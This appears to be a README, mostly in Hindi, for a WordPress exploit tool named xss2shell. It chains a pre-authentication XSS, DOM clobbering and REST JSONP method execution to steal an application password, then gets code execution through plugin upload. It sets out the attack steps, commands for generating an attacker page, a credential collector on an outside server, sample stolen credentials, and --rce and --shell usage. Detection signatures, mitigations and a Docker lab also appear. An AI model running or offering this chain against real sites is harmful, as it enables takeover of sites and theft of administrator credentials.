
PoC एक्सप्लॉइट श्रृंखला WordPress प्री-ऑथ XSS से RCE तक, DOM क्लोबरिंग, REST JSONP/SOME, और प्लगइन अपलोड के माध्यम से, Docker लैब सत्यापन और इंटरैक्टिव शेल के साथ।
WordPress प्री-ऑथ XSS → RCE एक्सप्लॉइट श्रृंखला, जो pwn.ai के शोध पर आधारित है और ionsec.io पर प्रकाशित हुई है।
⚠️ कानूनी चेतावनी: केवल शैक्षिक उद्देश्यों और अधिकृत परीक्षण के लिए। केवल उन्हीं सिस्टम पर उपयोग करें जिनके स्वामी आप हैं या जिनके परीक्षण की स्पष्ट लिखित अनुमति आपके पास है।
| चरण | तकनीक | स्थिति |
|---|---|---|
| 1 | पार्सर डिफरेंशियल XSS (sanitize_user + ब्राउज़र पार्स गैप) | ✅ सत्यापित |
| 2 | DOM क्लॉबरिंग (<area id=ajaxurl>, <div id=color-picker>) | ✅ सत्यापित |
| 3 | लॉगिन पेज पर user-profile.js ऑटो-ट्रिगर | ✅ सत्यापित |
| 4 | REST JSONP कॉलबैक डॉट ट्रैवर्सल की अनुमति देता है (window.opener.approve.click) | ✅ सत्यापित |
| 5 | _method=GET + _envelope=1 ओवरराइड | ✅ सत्यापित |
| 6 | एप्लिकेशन पासवर्ड चोरी (SOME) | ⚠️ एडमिन क्लिक की आवश्यकता है |
| 7 | प्लगइन अपलोड → PHP निष्पादन (कोई एक्टिवेशन नहीं) | ⚠️ क्रेडेंशियल्स की आवश्यकता है |
पूर्ण विवरण के लिए lab/VERIFICATION_REPORT.md देखें।
Step 1: Parser Differential XSS
└─ sanitize_user() allows "< area>", "< div>", "< button>" (space after "<")
Browser parses these as real HTML elements in login error message
Step 2: DOM Clobbering
└─ <area id=ajaxurl> → shadows window.ajaxurl (HTMLAreaElement)
<div id=color-picker class=reset-pass-submit> → satisfies jQuery selectors
<button class="wp-generate-pw color-option"> → delegated click handler
Step 3: user-profile.js Auto-Trigger
└─ Enqueued on wp-login.php (line 1398)
$('.reset-pass-submit button.wp-generate-pw').trigger('click') fires
$.post(ajaxurl, ...) → target URL = area.href (attacker-controlled)
Step 4: REST API JSONP + SOME
└─ _jsonp=window.opener.approve.click → Same Origin Method Execution
_envelope=1 → bypass auth error, wrap response in 200
wp_check_jsonp_callback: regex /[^\w\.]/ allows dot traversal
Step 5: Social Engineering (1 click)
└─ Admin sees real /wp-admin/authorize-application.php page
Clicks "Approve" → application password minted
Step 6: Credential Theft
└─ Password appears in redirect query string → read by child window (same-origin)
Step 7: Plugin Upload → RCE
└─ Upload plugin ZIP → extracted to /wp-content/plugins/{slug}/
PHP files directly executable WITHOUT activation
pip install requests
python3 xss2shell_poc.py --target https://wp-target.com --check
# With Burp Suite proxy
python3 xss2shell_poc.py --target https://wp-target.com --check --proxy http://127.0.0.1:8081
cd lab
docker-compose up -d
# WordPress 6.0.3 at http://localhost:8080
# Admin: admin / password123
python3 xss2shell_poc.py --target http://localhost:8080 --check --no-ssl
python3 xss2shell_poc.py --target https://wp-target.com \
--attacker-host https://your-server.com --generate-page
xss2shell_attacker.html और collect.php को अपने सर्वर पर अपलोड करें।
एक लॉग-इन WordPress एडमिन को अटैकर पेज पर जाकर एक बार क्लिक करना होगा।
क्रेडेंशियल्स आपके सर्वर पर collected_creds.json में दिखाई देते हैं:
[
{
"timestamp": "2026-08-08T...",
"username": "admin",
"password": "AbCd 1234 EfGh 5678",
"site": "https://wp-target.com"
}
]
python3 xss2shell_poc.py --target https://wp-target.com \
--username admin --app-password "AbCd 1234 EfGh 5678" --rce
python3 xss2shell_poc.py --target https://wp-target.com \
--username admin --app-password "AbCd 1234 EfGh 5678" --shell
python3 xss2shell_poc.py --target https://wp-target.com \
--username admin --app-password "AbCd 1234 EfGh 5678" --cleanup
सर्वर लॉग में खोजने योग्य हस्ताक्षर:
POST /wp-login.php जिसमें < area, < div, < button हों_jsonp= वाला REST अनुरोध (विशेष रूप से _jsonp=a.b.c — डॉट ही SOME का संकेत है)_envelope=1 + _method=GET जिन्हें इन्हें अस्वीकार कर देना चाहिएPOST /wp-admin/update.php?action=upload-pluginGET /wp-content/plugins/{unknown-plugin}/*.php — कभी एक्टिवेट न किए गए प्लगइन में PHP फ़ाइलauthorize-application.php पर किए गए अनुरोध के कुछ ही सेकंड के भीतर एप्लिकेशन पासवर्ड बनाया गयाadd_filter('wp_is_application_passwords_available', '__return_false');
add_filter('rest_jsonp_enabled', '__return_false');
define('DISALLOW_FILE_MODS', true);
_jsonp=, _envelope= ब्लॉक करें; wp-login.php पर POST बॉडी में < area ब्लॉक करेंxss2shell/
├── README.md # Documentation (this file)
├── xss2shell_poc.py # Main PoC script
├── xss2shell_attacker.html # Generated attacker page
├── collect.php # Credential collector endpoint
└── lab/
├── docker-compose.yml # Docker lab (WP 6.0.3)
├── VERIFICATION_REPORT.md # Step-by-step verification
├── test_sanitize.php # sanitize_user() tests
├── test_full_payload.php # Full payload chain test
├── test_browser.html # DOM clobbering browser test
├── test_end_to_end.php # End-to-end PHP test
└── verify_xss.sh # Automated curl tests
| आइटम | विवरण |
|---|
| CVE | CVE-2026-64638 |
| CVSS 4.0 | 8.9 |
| प्रभावित | WordPress 4.7 – 7.0.2 (अनपैच किए गए पॉइंट रिलीज़) |
| फिक्स | WordPress 7.0.3 (6 अगस्त, 2026), सभी मेंटेनेंस ब्रांचेज़ में बैकपोर्ट किया गया |
| प्रमाणीकरण | प्री-ऑथ (बिना प्रमाणीकरण वाला XSS) |
| प्रभाव | प्लगइन अपलोड के माध्यम से RCE |